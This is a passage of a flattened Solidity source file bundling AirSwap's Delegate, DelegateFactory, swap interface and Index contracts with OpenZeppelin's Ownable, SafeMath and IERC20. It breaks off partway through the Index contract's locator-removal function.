// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @airswap/transfers/contracts/TransferHandlerRegistry.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title TransferHandlerRegistry: holds registry of contract to
* facilitate token transfers
*/
contract TransferHandlerRegistry is Ownable {
event AddTransferHandler(
bytes4 kind,
address contractAddress
);
// Mapping of bytes4 to contract interface type
mapping (bytes4 => ITransferHandler) public transferHandlers;
/**
* @notice Adds handler to mapping
* @param kind bytes4 Key value that defines a token type
* @param transferHandler ITransferHandler
*/
function addTransferHandler(bytes4 kind, ITransferHandler transferHandler)
external onlyOwner {
require(address(transferHandlers[kind]) == address(0), "HANDLER_EXISTS_FOR_KIND");
transferHandlers[kind] = transferHandler;
emit AddTransferHandler(kind, address(transferHandler));
}
}
// File: @airswap/swap/contracts/interfaces/ISwap.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
interface ISwap {
event Swap(
uint256 indexed nonce,
uint256 timestamp,
address indexed signerWallet,
uint256 signerAmount,
uint256 signerId,
address signerToken,
address indexed senderWallet,
uint256 senderAmount,
uint256 senderId,
address senderToken,
address affiliateWallet,
uint256 affiliateAmount,
uint256 affiliateId,
address affiliateToken
);
event Cancel(
uint256 indexed nonce,
address indexed signerWallet
);
event CancelUpTo(
uint256 indexed nonce,
address indexed signerWallet
);
event AuthorizeSender(
address indexed authorizerAddress,
address indexed authorizedSender
);
event AuthorizeSigner(
address indexed authorizerAddress,
address indexed authorizedSigner
);
event RevokeSender(
address indexed authorizerAddress,
address indexed revokedSender
);
event RevokeSigner(
address indexed authorizerAddress,
address indexed revokedSigner
);
/**
* @notice Atomic Token Swap
* @param order Types.Order
*/
function swap(
Types.Order calldata order
) external;
/**
* @notice Cancel one or more open orders by nonce
* @param nonces uint256[]
*/
function cancel(
uint256[] calldata nonces
) external;
/**
* @notice Cancels all orders below a nonce value
* @dev These orders can be made active by reducing the minimum nonce
* @param minimumNonce uint256
*/
function cancelUpTo(
uint256 minimumNonce
) external;
/**
* @notice Authorize a delegated sender
* @param authorizedSender address
*/
function authorizeSender(
address authorizedSender
) external;
/**
* @notice Authorize a delegated signer
* @param authorizedSigner address
*/
function authorizeSigner(
address authorizedSigner
) external;
/**
* @notice Revoke an authorization
* @param authorizedSender address
*/
function revokeSender(
address authorizedSender
) external;
/**
* @notice Revoke an authorization
* @param authorizedSigner address
*/
function revokeSigner(
address authorizedSigner
) external;
function senderAuthorizations(address, address) external view returns (bool);
function signerAuthorizations(address, address) external view returns (bool);
function signerNonceStatus(address, uint256) external view returns (byte);
function signerMinimumNonce(address) external view returns (uint256);
function registry() external view returns (TransferHandlerRegistry);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @airswap/delegate/contracts/Delegate.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Delegate: Deployable Trading Rules for the AirSwap Network
* @notice Supports fungible tokens (ERC-20)
* @dev inherits IDelegate, Ownable uses SafeMath library
*/
contract Delegate is IDelegate, Ownable {
using SafeMath for uint256;
// The Swap contract to be used to settle trades
ISwap public swapContract;
// The Indexer to stake intent to trade on
IIndexer public indexer;
// Maximum integer for token transfer approval
uint256 constant internal MAX_INT = 2**256 - 1;
// Address holding tokens that will be trading through this delegate
address public tradeWallet;
// Mapping of senderToken to signerToken for rule lookup
mapping (address => mapping (address => Rule)) public rules;
// ERC-20 (fungible token) interface identifier (ERC-165)
bytes4 constant internal ERC20_INTERFACE_ID = 0x36372b07;
// The protocol identifier for setting intents on an Index
bytes2 public protocol;
/**
* @notice Contract Constructor
* @dev owner defaults to msg.sender if delegateContractOwner is provided as address(0)
* @param delegateSwap address Swap contract the delegate will deploy with
* @param delegateIndexer address Indexer contract the delegate will deploy with
* @param delegateContractOwner address Owner of the delegate
* @param delegateTradeWallet address Wallet the delegate will trade from
* @param delegateProtocol bytes2 The protocol identifier for Delegate contracts
*/
constructor(
ISwap delegateSwap,
IIndexer delegateIndexer,
address delegateContractOwner,
address delegateTradeWallet,
bytes2 delegateProtocol
) public {
swapContract = delegateSwap;
indexer = delegateIndexer;
protocol = delegateProtocol;
// If no delegate owner is provided, the deploying address is the owner.
if (delegateContractOwner != address(0)) {
transferOwnership(delegateContractOwner);
}
// If no trade wallet is provided, the owner's wallet is the trade wallet.
if (delegateTradeWallet != address(0)) {
tradeWallet = delegateTradeWallet;
} else {
tradeWallet = owner();
}
// Ensure that the indexer can pull funds from delegate account.
require(
IERC20(indexer.stakingToken())
.approve(address(indexer), MAX_INT), "STAKING_APPROVAL_FAILED"
);
}
/**
* @notice Set a Trading Rule
* @dev only callable by the owner of the contract
* @dev 1 senderToken = priceCoef * 10^(-priceExp) * signerToken
* @param senderToken address Address of an ERC-20 token the delegate would send
* @param signerToken address Address of an ERC-20 token the consumer would send
* @param maxSenderAmount uint256 Maximum amount of ERC-20 token the delegate would send
* @param priceCoef uint256 Whole number that will be multiplied by 10^(-priceExp) - the price coefficient
* @param priceExp uint256 Exponent of the price to indicate location of the decimal priceCoef * 10^(-priceExp)
*/
function setRule(
address senderToken,
address signerToken,
uint256 maxSenderAmount,
uint256 priceCoef,
uint256 priceExp
) external onlyOwner {
_setRule(
senderToken,
signerToken,
maxSenderAmount,
priceCoef,
priceExp
);
}
/**
* @notice Unset a Trading Rule
* @dev only callable by the owner of the contract, removes from a mapping
* @param senderToken address Address of an ERC-20 token the delegate would send
* @param signerToken address Address of an ERC-20 token the consumer would send
*/
function unsetRule(
address senderToken,
address signerToken
) external onlyOwner {
_unsetRule(
senderToken,
signerToken
);
}
/**
* @notice sets a rule on the delegate and an intent on the indexer
* @dev only callable by owner
* @dev delegate needs to be given allowance from msg.sender for the newStakeAmount
* @dev swap needs to be given permission to move funds from the delegate
* @param senderToken address Token the delgeate will send
* @param signerToken address Token the delegate will receive
* @param rule Rule Rule to set on a delegate
* @param newStakeAmount uint256 Amount to stake for an intent
*/
function setRuleAndIntent(
address senderToken,
address signerToken,
Rule calldata rule,
uint256 newStakeAmount
) external onlyOwner {
_setRule(
senderToken,
signerToken,
rule.maxSenderAmount,
rule.priceCoef,
rule.priceExp
);
// get currentAmount staked or 0 if never staked
uint256 oldStakeAmount = indexer.getStakedAmount(address(this), signerToken, senderToken, protocol);
if (oldStakeAmount == newStakeAmount && oldStakeAmount > 0) {
return; // forgo trying to reset intent with non-zero same stake amount
} else if (oldStakeAmount < newStakeAmount) {
// transfer only the difference from the sender to the Delegate.
require(
IERC20(indexer.stakingToken())
.transferFrom(msg.sender, address(this), newStakeAmount - oldStakeAmount), "STAKING_TRANSFER_FAILED"
);
}
indexer.setIntent(
signerToken,
senderToken,
protocol,
newStakeAmount,
bytes32(uint256(address(this)) << 96) //NOTE: this will pad 0's to the right
);
if (oldStakeAmount > newStakeAmount) {
// return excess stake back
require(
IERC20(indexer.stakingToken())
.transfer(msg.sender, oldStakeAmount - newStakeAmount), "STAKING_RETURN_FAILED"
);
}
}
/**
* @notice unsets a rule on the delegate and removes an intent on the indexer
* @dev only callable by owner
* @param senderToken address Maker token in the token pair for rules and intents
* @param signerToken address Taker token in the token pair for rules and intents
*/
function unsetRuleAndIntent(
address senderToken,
address signerToken
) external onlyOwner {
_unsetRule(senderToken, signerToken);
// Query the indexer for the amount staked.
uint256 stakedAmount = indexer.getStakedAmount(address(this), signerToken, senderToken, protocol);
indexer.unsetIntent(signerToken, senderToken, protocol);
// Upon unstaking, the Delegate will be given the staking amount.
// This is returned to the msg.sender.
if (stakedAmount > 0) {
require(
IERC20(indexer.stakingToken())
.transfer(msg.sender, stakedAmount),"STAKING_RETURN_FAILED"
);
}
}
/**
* @notice Provide an Order
* @dev Rules get reset with new maxSenderAmount
* @param order Types.Order Order a user wants to submit to Swap.
*/
function provideOrder(
Types.Order calldata order
) external {
Rule memory rule = rules[order.sender.token][order.signer.token];
require(order.signature.v != 0,
"SIGNATURE_MUST_BE_SENT");
// Ensure the order is for the trade wallet.
require(order.sender.wallet == tradeWallet,
"SENDER_WALLET_INVALID");
// Ensure the tokens are valid ERC20 tokens.
require(order.signer.kind == ERC20_INTERFACE_ID,
"SIGNER_KIND_MUST_BE_ERC20");
require(order.sender.kind == ERC20_INTERFACE_ID,
"SENDER_KIND_MUST_BE_ERC20");
// Ensure that a rule exists.
require(rule.maxSenderAmount != 0,
"TOKEN_PAIR_INACTIVE");
// Ensure the order does not exceed the maximum amount.
require(order.sender.amount <= rule.maxSenderAmount,
"AMOUNT_EXCEEDS_MAX");
// Ensure the order is priced according to the rule.
require(order.sender.amount <= _calculateSenderAmount(order.signer.amount, rule.priceCoef, rule.priceExp),
"PRICE_INVALID");
// Overwrite the rule with a decremented maxSenderAmount.
rules[order.sender.token][order.signer.token] = Rule({
maxSenderAmount: (rule.maxSenderAmount).sub(order.sender.amount),
priceCoef: rule.priceCoef,
priceExp: rule.priceExp
});
// Perform the swap.
swapContract.swap(order);
emit ProvideOrder(
owner(),
tradeWallet,
order.sender.token,
order.signer.token,
order.sender.amount,
rule.priceCoef,
rule.priceExp
);
}
/**
* @notice Set a new trade wallet
* @param newTradeWallet address Address of the new trade wallet
*/
function setTradeWallet(address newTradeWallet) external onlyOwner {
require(newTradeWallet != address(0), "TRADE_WALLET_REQUIRED");
tradeWallet = newTradeWallet;
}
/**
* @notice Get a Signer-Side Quote from the Delegate
* @param senderAmount uint256 Amount of ERC-20 token the delegate would send
* @param senderToken address Address of an ERC-20 token the delegate would send
* @param signerToken address Address of an ERC-20 token the consumer would send
* @return uint256 signerAmount Amount of ERC-20 token the consumer would send
*/
function getSignerSideQuote(
uint256 senderAmount,
address senderToken,
address signerToken
) external view returns (
uint256 signerAmount
) {
Rule memory rule = rules[senderToken][signerToken];
// Ensure that a rule exists.
if(rule.maxSenderAmount > 0) {
// Ensure the senderAmount does not exceed maximum for the rule.
if(senderAmount <= rule.maxSenderAmount) {
signerAmount = _calculateSignerAmount(senderAmount, rule.priceCoef, rule.priceExp);
// Return the quote.
return signerAmount;
}
}
return 0;
}
/**
* @notice Get a Sender-Side Quote from the Delegate
* @param signerAmount uint256 Amount of ERC-20 token the consumer would send
* @param signerToken address Address of an ERC-20 token the consumer would send
* @param senderToken address Address of an ERC-20 token the delegate would send
* @return uint256 senderAmount Amount of ERC-20 token the delegate would send
*/
function getSenderSideQuote(
uint256 signerAmount,
address signerToken,
address senderToken
) external view returns (
uint256 senderAmount
) {
Rule memory rule = rules[senderToken][signerToken];
// Ensure that a rule exists.
if(rule.maxSenderAmount > 0) {
// Calculate the senderAmount.
senderAmount = _calculateSenderAmount(signerAmount, rule.priceCoef, rule.priceExp);
// Ensure the senderAmount does not exceed the maximum trade amount.
if(senderAmount <= rule.maxSenderAmount) {
return senderAmount;
}
}
return 0;
}
/**
* @notice Get a Maximum Quote from the Delegate
* @param senderToken address Address of an ERC-20 token the delegate would send
* @param signerToken address Address of an ERC-20 token the consumer would send
* @return uint256 senderAmount Amount the delegate would send
* @return uint256 signerAmount Amount the consumer would send
*/
function getMaxQuote(
address senderToken,
address signerToken
) external view returns (
uint256 senderAmount,
uint256 signerAmount
) {
Rule memory rule = rules[senderToken][signerToken];
senderAmount = rule.maxSenderAmount;
// Ensure that a rule exists.
if (senderAmount > 0) {
// calculate the signerAmount
signerAmount = _calculateSignerAmount(senderAmount, rule.priceCoef, rule.priceExp);
// Return the maxSenderAmount and calculated signerAmount.
return (
senderAmount,
signerAmount
);
}
return (0, 0);
}
/**
* @notice Set a Trading Rule
* @dev only callable by the owner of the contract
* @dev 1 senderToken = priceCoef * 10^(-priceExp) * signerToken
* @param senderToken address Address of an ERC-20 token the delegate would send
* @param signerToken address Address of an ERC-20 token the consumer would send
* @param maxSenderAmount uint256 Maximum amount of ERC-20 token the delegate would send
* @param priceCoef uint256 Whole number that will be multiplied by 10^(-priceExp) - the price coefficient
* @param priceExp uint256 Exponent of the price to indicate location of the decimal priceCoef * 10^(-priceExp)
*/
function _setRule(
address senderToken,
address signerToken,
uint256 maxSenderAmount,
uint256 priceCoef,
uint256 priceExp
) internal {
require(priceCoef > 0, "PRICE_COEF_INVALID");
rules[senderToken][signerToken] = Rule({
maxSenderAmount: maxSenderAmount,
priceCoef: priceCoef,
priceExp: priceExp
});
emit SetRule(
owner(),
senderToken,
signerToken,
maxSenderAmount,
priceCoef,
priceExp
);
}
/**
* @notice Unset a Trading Rule
* @param senderToken address Address of an ERC-20 token the delegate would send
* @param signerToken address Address of an ERC-20 token the consumer would send
*/
function _unsetRule(
address senderToken,
address signerToken
) internal {
// using non-zero rule.priceCoef for rule existence check
if (rules[senderToken][signerToken].priceCoef > 0) {
// Delete the rule.
delete rules[senderToken][signerToken];
emit UnsetRule(
owner(),
senderToken,
signerToken
);
}
}
/**
* @notice Calculate the signer amount for a given sender amount and price
* @param senderAmount uint256 The amount the delegate would send in the swap
* @param priceCoef uint256 Coefficient of the token price defined in the rule
* @param priceExp uint256 Exponent of the token price defined in the rule
*/
function _calculateSignerAmount(
uint256 senderAmount,
uint256 priceCoef,
uint256 priceExp
) internal pure returns (
uint256 signerAmount
) {
// Calculate the signer amount using the price formula
uint256 multiplier = senderAmount.mul(priceCoef);
signerAmount = multiplier.div(10 ** priceExp);
// If the div rounded down, round up
if (multiplier.mod(10 ** priceExp) > 0) {
signerAmount++;
}
}
/**
* @notice Calculate the sender amount for a given signer amount and price
* @param signerAmount uint256 The amount the signer would send in the swap
* @param priceCoef uint256 Coefficient of the token price defined in the rule
* @param priceExp uint256 Exponent of the token price defined in the rule
*/
function _calculateSenderAmount(
uint256 signerAmount,
uint256 priceCoef,
uint256 priceExp
) internal pure returns (
uint256 senderAmount
) {
// Calculate the sender anount using the price formula
senderAmount = signerAmount
.mul(10 ** priceExp)
.div(priceCoef);
}
}
// File: @airswap/delegate/contracts/interfaces/IDelegateFactory.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
interface IDelegateFactory {
event CreateDelegate(
address indexed delegateContract,
address swapContract,
address indexerContract,
address indexed delegateContractOwner,
address delegateTradeWallet
);
/**
* @notice Deploy a trusted delegate contract
* @param delegateTradeWallet the wallet the delegate will trade from
* @return delegateContractAddress address of the delegate contract created
*/
function createDelegate(
address delegateTradeWallet
) external returns (address delegateContractAddress);
}
// File: @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
interface ILocatorWhitelist {
function has(
bytes32 locator
) external view returns (bool);
}
// File: @airswap/delegate/contracts/DelegateFactory.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract DelegateFactory is IDelegateFactory, ILocatorWhitelist {
// Mapping specifying whether an address was deployed by this factory
mapping(address => bool) internal _deployedAddresses;
// The swap and indexer contracts to use in the deployment of Delegates
ISwap public swapContract;
IIndexer public indexerContract;
bytes2 public protocol;
/**
* @notice Create a new Delegate contract
* @dev swapContract is unable to be changed after the factory sets it
* @param factorySwapContract address Swap contract the delegate will deploy with
* @param factoryIndexerContract address Indexer contract the delegate will deploy with
* @param factoryProtocol bytes2 Protocol type of the delegates the factory deploys
*/
constructor(
ISwap factorySwapContract,
IIndexer factoryIndexerContract,
bytes2 factoryProtocol
) public {
swapContract = factorySwapContract;
indexerContract = factoryIndexerContract;
protocol = factoryProtocol;
}
/**
* @param delegateTradeWallet address Wallet the delegate will trade from
* @return address delegateContractAddress Address of the delegate contract created
*/
function createDelegate(
address delegateTradeWallet
) external returns (address delegateContractAddress) {
delegateContractAddress = address(
new Delegate(swapContract, indexerContract, msg.sender, delegateTradeWallet, protocol)
);
_deployedAddresses[delegateContractAddress] = true;
emit CreateDelegate(
delegateContractAddress,
address(swapContract),
address(indexerContract),
msg.sender,
delegateTradeWallet
);
return delegateContractAddress;
}
/**
* @notice To check whether a locator was deployed
* @dev Implements ILocatorWhitelist.has
* @param locator bytes32 Locator of the delegate in question
* @return bool True if the delegate was deployed by this contract
*/
function has(bytes32 locator) external view returns (bool) {
return _deployedAddresses[address(bytes20(locator))];
}
}
// File: @airswap/indexer/contracts/Index.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Index: A List of Locators
* @notice The Locators are sorted in reverse order based on the score
* meaning that the first element in the list has the largest score
* and final element has the smallest
* @dev A mapping is used to mimic a circular linked list structure
* where every mapping Entry contains a pointer to the next
* and the previous
*/
contract Index is Ownable {
// The number of entries in the index
uint256 public length;
// Identifier to use for the head of the list
address constant internal HEAD = address(uint160(2**160-1));
// Mapping of an identifier to its entry
mapping(address => Entry) public entries;
/**
* @notice Index Entry
* @param score uint256
* @param locator bytes32
* @param prev address Previous address in the linked list
* @param next address Next address in the linked list
*/
struct Entry {
bytes32 locator;
uint256 score;
address prev;
address next;
}
/**
* @notice Contract Events
*/
event SetLocator(
address indexed identifier,
uint256 score,
bytes32 indexed locator
);
event UnsetLocator(
address indexed identifier
);
/**
* @notice Contract Constructor
*/
constructor() public {
// Create initial entry.
entries[HEAD] = Entry(bytes32(0), 0, HEAD, HEAD);
}
/**
* @notice Set a Locator
* @param identifier address On-chain address identifying the owner of a locator
* @param score uint256 Score for the locator being set
* @param locator bytes32 Locator
*/
function setLocator(
address identifier,
uint256 score,
bytes32 locator
) external onlyOwner {
// Ensure the entry does not already exist.
require(!_hasEntry(identifier), "ENTRY_ALREADY_EXISTS");
_setLocator(identifier, score, locator);
// Increment the index length.
length = length + 1;
emit SetLocator(identifier, score, locator);
}
/**
* @notice Unset a Locator
* @param identifier address On-chain address identifying the owner of a locator
*/
function unsetLocator(
address identifier
) external onlyOwner {
_unsetLocator(identifier);
// Decrement the index length.
length = length - 1;
emit UnsetLocator(identifier);
}
/**
* @notice Update a Locator
* @dev score and/or locator do not need to be different from old values
* @param identifier address On-chain address identifying the owner of a locator
* @param score uint256 Score for the locator being set
* @param locator bytes32 Locator
*/
function updateLocator(
address identifier,
uint256 score,
bytes32 locator
) external onlyOwner {
// Don't need to update length as it is not used in set/unset logic
_unsetLocator(identifier);
_setLocator(identifier, score, locator);
emit SetLocator(identifier, score, locator);
}
/**
* @notice Get a Score
* @param identifier address On-chain address identifying the owner of a locator
* @return uint256 Score corresponding to the identifier
*/
function getScore(
address identifier
) external view returns (uint256) {
return entries[identifier].score;
}
/**
* @notice Get a Locator
* @param identifier address On-chain address identifying the owner of a locator
* @return bytes32 Locator information
*/
function getLocator(
address identifier
) external view returns (bytes32) {
return entries[identifier].locator;
}
/**
* @notice Get a Range of Locators
* @dev start value of 0x0 starts at the head
* @param cursor address Cursor to start with
* @param limit uint256 Maximum number of locators to return
* @return bytes32[] List of locators
* @return uint256[] List of scores corresponding to locators
* @return address The next cursor to provide for pagination
*/
function getLocators(
address cursor,
uint256 limit
) external view returns (
bytes32[] memory locators,
uint256[] memory scores,
address nextCursor
) {
address identifier;
// If a valid cursor is provided, start there.
if (cursor != address(0) && cursor != HEAD) {
// Check that the provided cursor exists.
if (!_hasEntry(cursor)) {
return (new bytes32[](0), new uint256[](0), address(0));
}
// Set the starting identifier to the provided cursor.
identifier = cursor;
} else {
identifier = entries[HEAD].next;
}
// Although it's not known how many entries are between `cursor` and the end
// We know that it is no more than `length`
uint256 size = (length < limit) ? length : limit;
locators = new bytes32[](size);
scores = new uint256[](size);
// Iterate over the list until the end or size.
uint256 i;
while (i < size && identifier != HEAD) {
locators[i] = entries[identifier].locator;
scores[i] = entries[identifier].score;
i = i + 1;
identifier = entries[identifier].next;
}
return (locators, scores, identifier);
}
/**
* @notice Internal function to set a Locator
* @param identifier address On-chain address identifying the owner of a locator
* @param score uint256 Score for the locator being set
* @param locator bytes32 Locator
*/
function _setLocator(
address identifier,
uint256 score,
bytes32 locator
) internal {
// Disallow locator set to 0x0 to ensure list integrity.
require(locator != bytes32(0), "LOCATOR_MUST_BE_SENT");
// Find the first entry with a lower score.
address nextEntry = _getEntryLowerThan(score);
// Link the new entry between previous and next.
address prevEntry = entries[nextEntry].prev;
entries[prevEntry].next = identifier;
entries[nextEntry].prev = identifier;
entries[identifier] = Entry(locator, score, prevEntry, nextEntry);
}
/**
* @notice Internal function to unset a Locator
* @param identifier address On-chain address identifying the owner of a locator
*/
function _unsetLocator(
address identifier
) internal {
